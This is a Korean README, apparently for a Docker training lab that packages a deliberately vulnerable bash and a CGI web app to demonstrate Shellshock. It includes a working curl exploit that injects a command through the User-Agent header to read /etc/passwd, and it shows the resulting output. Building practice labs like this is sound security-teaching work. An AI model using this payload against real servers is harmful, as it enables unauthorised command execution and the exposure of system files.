
서비스로서의 취약점: CVS-2014-6271, 일명 Shellshock 소개
취약한 버전의 bash와 CVS-2014-6271(일명 Shellshock)을 시연하는 웹 애플리케이션이 포함된 Debian (Buster) Linux 시스템입니다.
이 도커 컨테이너는 Debian Buster 기반이며, 취약한 버전의 Bash(bash_4.2:2b:dfsg-0.1)를 사용하도록 수정되었습니다.
웹 애플리케이션은 Apache 2를 통해 제공되며, 셸 명령어를 실행하는 CGI 스크립트를 서빙합니다.
다음 명령어로 컨테이너를 설치합니다: docker pull hmlio/vaas-cve-2014-6271
포트 매핑과 함께 컨테이너를 실행합니다: docker run -d -p 8080:80 hmlio/vaas-cve-2014-6271
http://your-ip:8080/에서 웹 애플리케이션에 접근할 수 있습니다.
웹 애플리케이션/취약한 bash 버전은 아래와 같이 익스플로잇될 수 있습니다:
# curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'" http://your-ip:8080/cgi-bin/stats
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
이 개념과 웹 애플리케이션은 rasta_mouse가 만든 VulnHub VM "Sokar"에서 크게 영감을 받았습니다. 자세한 내용은 https://www.vulnhub.com/entry/sokar-1,113/를 참고하세요.